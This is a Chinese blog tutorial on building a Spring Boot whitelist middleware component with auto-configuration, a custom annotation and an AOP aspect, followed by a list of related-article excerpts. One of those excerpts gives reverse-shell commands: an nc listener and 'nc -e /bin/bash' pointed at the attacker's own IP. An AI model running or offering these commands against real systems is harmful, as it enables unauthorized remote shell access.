SpringBoot开发组件总结

大家好,今天学习了SpringBoot中间件开发,在学习后总结记录下。

在开发的过程中,把一些公共的非业务的代码提炼出来,做成一个公用的组件,减少开发成本和风险,今天学习的是一个白名单控制组件,记录一下组件开发的过程。

一、编写spring.factory配置自动配置的类

在resource目录的META-INF下的spring.factories中定义

org.springframework.boot.autoconfigure.EnableAutoConfiguration=com.wq.whitelist.config.WhiteListAutoConfigure

二、编写自动配置类

自动配置类的作用是读取yml中定义的配置,并将其加入到spring容器中,在配置时一般会加入@ConditionalOnMissingBean防止和其他同名的bean冲突。

/*** 只有当WhiteListProperties存在是才会注册WhiteListAutoConfigure到容器中*/
@Configuration
@ConditionalOnClass(WhiteListProperties.class)
@EnableConfigurationProperties(WhiteListProperties.class)
public class WhiteListAutoConfigure {/*** 这个地方加上@ConditionalOnMissingBean的目的是防止容器中多个bean冲突而出现异常,一般在自动配置类中加上这个* 比如这里我加上这个,在引入我的项目里也有whiteListConfig的bean的时候,就会使用别人的,如果那个项目中没有的话就使用我的。*/@Bean("whiteListConfig")@ConditionalOnMissingBeanpublic String whiteListConfig(WhiteListProperties properties) {return properties.getUsers();}}

三、定义注解

自定义一个注解,在使用的时候在需要的地方加上注解即可。

@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface DoWhiteList {String returnJson() default "";
}

四、编写切面逻辑

这一步也是最关键的,主要的逻辑都是在这里实现,通过spring的aop对方法进行拦截,再对其进行判断。

    @Around("aopPoint()")public Object doRouter(ProceedingJoinPoint jp) throws Throwable {Object target = jp.getArgs()[0];Field[] declaredFields = target.getClass().getDeclaredFields();for (Field field : declaredFields) {if ("white".equals(field.getName())) {field.setAccessible(true);if (field.get(target) != null && (boolean)field.get(target)) {field.setAccessible(false);return jp.proceed();}}}// 拦截Class<?> returnType = method.getReturnType();String returnJson = whiteList.returnJson();if ("".equals(returnJson)) {return returnType.newInstance();}return JSON.parseObject(returnJson, returnType);}

到这里就开发完成啦,将项目install到仓库中,在需要的项目中引入此项目的依赖即可

五、测试

    @DoWhiteList(returnJson = "{\"code\":\"1111\",\"info\":\"非白名单可访问用户拦截!\"}")@RequestMapping(path = "/api/queryUserInfo", method = RequestMethod.POST)public UserInfo queryUserInfo(@RequestBody UserInfo userInfo) {return userInfo;}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/160636.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

医疗数据可视化大屏:重构医疗决策的未来

医疗行业一直是信息密集型领域之一&#xff0c;它的复杂性不仅在于患者病历和医疗数据的海量积累&#xff0c;还包括了病情诊断、医疗资源分配、病患治疗等多层次的挑战。随着信息技术的不断发展&#xff0c;医疗数据可视化大屏成为了一种创新性的工具&#xff0c;它为医疗管理…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

Unity3D与iOS的交互 简单版开箱即用

本文适合的情况如下&#xff1a; Unity客户端人员 与 IOS端研发人员合作的情况 目录 From U3D to iOS 实现原理 1.unity工程目录创建2个文件 NativeCallProxy.m、NativeCallProxy.h 并且放到Unity工程目录Plugins/iOS/unity_ios_plus目录下 2.创建C#调用脚本 定义对应.mm脚…

JAVA-软开-常见八股文(2)-数据库相关

1 Drop Delete Truncate三者之间的区别和联系 drop删除整张表&#xff0c;包括表结构和表数据。用法 drop table 表名 truncate表示清空数据&#xff0c;不会删除表结构。truncate table 表名 delete表示删除数据&#xff0c;不会删除表结构。delete from 表名 where 列名 值…

2023最新版本 FreeRTOS教程 -5-切断驱动和应用的直接关联与多输入的编码思路

在多输入的场景方便添加新的设备如图 总体的思路框图 函数讲解&#xff08;图片太抽象通过这个函数理解&#xff09; 写入自己的队列 统一数据(建议读取自己的队列 再统一到应用的队列 这里图方便省略了) 通过统一的数据做出执行操作 验证 队列为空直接阻塞 通过三个按…

@Tag和@Operation标签失效问题。SpringDoc 2.2.0(OpenApi 3)和Spring Boot 3.1.1集成

问题 Tag和Operation标签失效 但是Schema标签有效 pom依赖 <!-- 接口文档--><!--引入openapi支持--><dependency><groupId>org.springdoc</groupId><artifactId>springdoc-openapi-starter-webmvc-ui</artifactId><vers…

MySQL - Zero date value prohibited

问题: timestamp字段报Caused by: com.mysql.cj.exceptions.DataReadException: Zero date value prohibited 原因: timestamp字段存入了0值, 超出了最小值1900-01-01 00:00:00, 转Java对象的时候报错 解决: 1.修复或删除原数据 2. mysqlurl 中添加zeroDateTimeBehaviorconve…

【漏洞复现】Drupal XSS漏洞复现

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 复现环境&#xff1a;Vulhub 环境启动后&#xff0c;访问 http://192.168.80.141:8080/ 将会看到drupal的安装页面&#xff0c;一路默认配置下一步安装。因为没有mysql环境&#xff0c;…

Linux ----------------------- 文本处理工具

&#xff08;一&#xff09;绪论 awk、grep、sed和cut 是Linux 操作文本的四大利器&#xff0c;合称文本四大金刚&#xff0c;也是必须掌握的Linux 命令之一。这四个工具的功能各有侧重&#xff1a; awk&#xff1a;功能最强大&#xff0c;用于处理和格式化文本&#xff0c;可…

万宾科技管网水位监测助力智慧城市的排水系统

以往如果要了解城市地下排水管网的水位变化&#xff0c;需要依靠人工巡检或者排查的方式&#xff0c;这不仅加大了人员的工作量&#xff0c;而且也为市政府带来了更多的工作难题。比如人员监管监测不到位或无法远程监控等情况&#xff0c;都会降低市政府对排水管网的管理能力&a…

如何实现多租户系统

shigen日更文章的博客写手&#xff0c;擅长Java、python、vue、shell等编程语言和各种应用程序、脚本的开发。记录成长&#xff0c;分享认知&#xff0c;留住感动。 不知道为什么&#xff0c;最近老是有一些失眠&#xff0c;凌晨睡&#xff0c;两点半还在醒着。脑子里想着自己生…

nodelist 与 HTMLCollection 的区别

原地址 https://cloud.tencent.com/developer/article/2013289 节点与元素 根据 W3C 的 HTML DOM 标准&#xff0c;HTML 文档中的所有内容都是节点&#xff1a; 整个文档是一个文档节点每个 HTML 元素是元素节点HTML 元素内的文本是文本节点每个 HTML 属性是属性节点注释是注…